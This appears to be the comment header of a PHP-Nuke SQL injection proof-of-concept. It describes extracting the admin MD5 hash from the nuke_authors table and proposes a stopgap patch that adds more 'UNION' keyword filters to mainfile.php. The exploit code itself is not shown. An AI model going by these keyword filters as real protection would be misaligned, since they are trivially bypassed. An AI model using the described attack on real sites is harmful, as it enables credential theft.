// ==Real Proof of Concept exploit==
// Whit this PoC code i get the md5 hash of the first admin (God) of the nuke_authors table.
// - How to fix it? More information?
// --------------------------------------------------------
// You can found a patch on http://www.neosecurityteam.net/foro/
// Also, you can modify the line 143 of mainfile.php, adding one more protection like:
// ==[ mainfile.php old line (143) ]==========================
// [...]
// if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+')) {
// }
// [...]
// ==[ end mainfile.php ]=====================================
// ==[ mainfile.php new line (143) ]==========================
// [...]
// if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+') OR stripos_clone($postString_64,
// '*/UNION ') OR stripos_clone($postString_64, ' UNION/*')) {
// }
// [...]
// ==[ end mainfile.php ]=====================================
// That's a momentary solution to the problem. I recommend to download the PHP Nuke 8.0 version in the next days... it is not
// free at the moment.
